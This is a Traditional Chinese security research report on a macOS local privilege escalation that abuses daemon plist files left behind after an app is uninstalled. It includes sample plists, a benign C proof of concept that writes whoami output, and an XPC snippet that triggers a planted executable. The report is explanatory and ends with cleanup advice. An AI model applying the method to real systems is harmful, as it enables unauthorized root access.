
摘要
本技術研究報告探討了 macOS 系統中的一個本機權限提升漏洞,該漏洞利用系統 daemon 的持久性機制。當應用程式在解除安裝時未能正確清理其 daemon 設定檔案(plist 檔案),會留下可被 Threat actor 攻擊的入口點,從而獲得 root 等級的存取權。本報告提供了詳細的漏洞攻擊方法技術分析,包括程式碼範例和架構圖,重點探討 RunAtLoad 和 MachServices 兩種類型的 daemon。

1. 簡介
本報告詳細介紹了 macOS 系統中的一個本機權限提升(Local Privilege Escalation, LPE)漏洞,特別聚焦於 Threat actor 如何利用 macOS daemon 的持久性機制。本研究深入探討了 `launchd` 及其相關 `plist` 檔案的技術基礎,以及透過 `MachServices` 和 XPC 實現的程序間通訊(Inter-Process Communication, IPC)。主要目標是提供漏洞攻擊方法的全面技術分析,包括程式碼範例和架構圖,以增進對此安全漏洞的理解。
2. 背景
2.1 macOS Daemons 和 Launchd
在 macOS 中,daemon 是無需直接使用者互動而在背景持續運行的程序。它們通常在系統啟動時啟動,且獨立於任何已登入的使用者運行。管理這些背景程序的主要系統是 `launchd` [13],這是 Apple 開發的統一服務管理框架。`launchd` 負責啟動、停止和管理 daemon、應用程式、程序和腳本。它取代了多個較舊的 Unix 風格初始化程序,例如 `init` 和 `SystemStarter` [13]。
Daemon 使用屬性清單(Property list, plist)檔案進行設定,這些檔案是 XML 格式,定義了 daemon 的特性和行為。這些 `plist` 檔案通常位於 `/Library/LaunchDaemons`(用於以 root 身份運行的系統級 daemon)或 `~/Library/LaunchAgents`(用於使用者特定的代理)等目錄中 [6]。`plist` 檔案指定了多種屬性,包括可執行檔案路徑(`Program` 或 `ProgramArguments`)、服務應運行的使用者(`UserName`),以及是否應在系統啟動時自動啟動(`RunAtLoad`) [5]。
2.2 MachServices
雖然許多 daemon 被設定為在系統啟動時啟動,但有些服務被設計為保持休眠,直到被明確呼叫。這些通常被設定為 `MachServices` [2]。`MachService` 是一種向 bootstrap 服務註冊 Mach port 的服務,允許其他程序透過程序間通訊(IPC)與其通訊 [2]。此機制支援 on-demand 服務啟動,當客戶端嘗試連接到其註冊的 Mach port 時,daemon 才會啟動 [2]。
2.3 XPC(跨程序通訊)
XPC 是基於 Mach 訊息的高層 IPC 機制,為 macOS 和 iOS 上的不同程序提供輕量且安全的通訊方式 [8, 16]。XPC 服務允許應用程式將任務卸載到輔助工具,這些工具可以以不同權限或在隔離的環境中運行,從而增強安全性和穩定性 [2]。通訊模型基於客戶端-伺服器架構,客戶端可向 XPC 服務發送訊息,服務可回應。XPC 處理程序間通訊的複雜性,包括服務生命週期管理和訊息序列化 [5]。
3. 漏洞利用技術分析
原文討論的漏洞利用了一個關鍵疏忽:應用程式解除安裝後,`plist` 檔案仍然存在。如果開發者在解除安裝時未能從 `/Library/LaunchDaemons` 中移除 `plist` 檔案,Threat actor 就能利用此殘留檔案實現本機權限提升。
3.1 `RunAtLoad` Daemons 的利用
第一種攻擊方法針對設定為 `RunAtLoad` 鍵值為 `true` 的 daemon 的 `plist` 檔案。這些 daemon 會在系統啟動時自動啟動。請參考原文中的以下 `plist` 範例:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
- <plist version="1.0">
- <dict>
- <key>Label</key>
- <string>org.company.macos.TestVPN.daemon</string>
- <key>ProgramArguments</key>
- <array>
- <string>/Applications/Test VPN.app/Contents/MacOS/Test VPN</string>
- <string>macosdaemon</string>
- </array>
- <key>UserName</key>
- <string>root</string>
- <key>RunAtLoad</key>
- <true></true>
- <key>KeepAlive</key>
- <true></true>
- <key>SoftResourceLimits</key>
- <dict>
- <key>NumberOfFiles</key>
- <integer>1024</integer>
- </dict>
- <key>StandardErrorPath</key>
- <string>/var/log/testvpn/stderr.log</string>
- </dict>
- </plist>
在此情境中,如果位於 `/Applications/Test VPN.app/Contents/MacOS/Test VPN` 的應用程式被解除安裝,但其 `plist` 檔案仍留存,攻擊者可以在該路徑創建一個 malicious executable。由於 `UserName` 鍵值設定為 `root`,在系統重啟時,該 malicious executable 將以 root 權限啟動。原文提供了一個簡單的概念驗證 C 程式碼片段:
- #include <stdio.h>
- #include <stdlib.h>
- int main()
- {
- const char *command = "echo $(whoami) > ~/whoami.txt";
- int result = system(command);
- return 0;
- }
此程式碼在編譯並放置於指定路徑後,將執行 `echo $(whoami) > ~/whoami.txt`,將當前使用者(即 `root`)寫入 root 使用者家目錄中的檔案,從而展示權限提升 [1]。
3.2 `MachServices` Daemons 的利用
第二種攻擊方法針對設定為 `MachServices` 的 daemon。與 `RunAtLoad` daemon 不同,`MachServices` 不會在系統啟動時初始化,而是保持休眠直到透過其註冊的 Mach port 明確呼叫 [1]。以下是 `MachService` 的 `plist` 範例 [1]:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
- <plist version="1.0">
- <dict>
- <key>Label</key>
- <string>com.company.testStandaloneUpdaterDaemon</string>
- <key>MachServices</key>
- <dict>
- <key>com.company.testStandaloneUpdaterDaemon</key>
- <true></true>
- </dict>
- <key>Program</key>
- <string>/Applications/Test.app/Contents/StandaloneUpdaterDaemon.xpc/Contents/MacOS/StandaloneUpdaterDaemon</string>
- <key>ProgramArguments</key>
- <array></array>
- <key>StandardErrorPath</key>
- <string>/Library/Logs/Company/Test/TestStandaloneUpdaterDaemon.log</string>
- <key>StandardOutPath</key>
- <string>/Library/Logs/Company/Test/TestStandaloneUpdaterDaemon.log</string>
- </dict>
- </plist>
與 `RunAtLoad` 情境類似,如果此 `MachService` 的 `plist` 檔案在解除安裝後仍留存,攻擊者可以在 `Program` 鍵值指定的路徑放置 malicious executable。要觸發此 malicious payload 的執行,攻擊者需透過 XPC 使用其標識符(`com.company.testStandaloneUpdaterDaemon`)呼叫 `MachService` [1]。原文提供了用於此呼叫的 C 程式碼片段 [1]:
- #include <xpc/xpc.h>
- int main(void) {
- xpc_connection_t conn = xpc_connection_create_mach_service("com.company.testStandaloneUpdaterDaemon", NULL, 0);
- return 0;
- }
此客戶端程式碼建立了與 `MachService` 的連線,進而觸發 malicious executable 以提升的權限執行 [1]。
3.3 漏洞架構概述
原文包含了一個圖表,說明了漏洞的流程。此圖表雖簡化,但突顯了關鍵組件和互動:
該圖表描述了以下序列:
- 使用者互動: 使用者啟動應用程式的安裝。
- 應用程式安裝: 應用程式請求 root 權限進行安裝並獲批准。在安裝過程中,應用程式創建一個 daemon 及其對應的 `plist` 檔案。
- macOS 整合: macOS 整合該 daemon,將 `plist` 檔案創建在適當的 `LaunchDaemons` 目錄中。
- 解除安裝疏忽: 當使用者將應用程式移到垃圾桶(解除安裝)時,`plist` 檔案未被移除。這是關鍵疏忽。
- 漏洞利用: 由於 `plist` 檔案留存,攻擊者可在 `plist` 中指定的路徑放置 malicious executable。在系統重啟(對於 `RunAtLoad` daemon)或明確呼叫(對於 `MachServices`)時,malicious executable 以 `plist` 中定義的權限(通常為 root)運行。
該圖表清楚顯示了應用程式解除安裝與 daemon 設定持久性之間的差異,這構成了此 LPE 漏洞的基礎。
4. 結論
透過 macOS daemon 的本機權限提升漏洞突顯了不當解除安裝程序所帶來的重要安全問題。應用程式留下的 `plist` 檔案無意中為 malicious code 提供了以提升權限執行的持久入口點。`RunAtLoad` 和 `MachServices` daemon 提供了不同但同樣可被利用的途徑。開發者必須確保在解除安裝時進行全面清理,包括移除所有相關的 `plist` 檔案,以減輕此風險。使用者也應意識到此類殘留檔案的潛在風險,並考慮使用能徹底解除安裝應用程式的工具。
參考資料
- Daemon Ex Plist: LPE via MacOS Daemons - Egor Filatov July 17, 2025
- Creating Launch Daemons and Agents - Apple Developer
- Daemons and Services Programming Guide - Apple Developer
- macOS daemons and agents - Lazarus wiki
- Create or Modify System Process: Launch Daemon - MITRE ATT&CK®
- launchd - What are the differences between LaunchAgents and LaunchDaemons - Apple Stack Exchange
- macOS: Know the difference between launch agents and daemons - TechRepublic
- launchd - Wikipedia
- What is the launchd process on Mac? - MacPaw
- A launchd Tutorial
- XPC | Apple Developer Documentation
- XPC Programming on macOS - Karol Mazurek - Medium
- macOS XPC - HackTricks - GitBook
- Inter-Process Communication - NSHipster
- How and when to use XPC services - Multi Blog
- Abusing & Securing XPC in macOS apps - Objective by the Sea (PDF)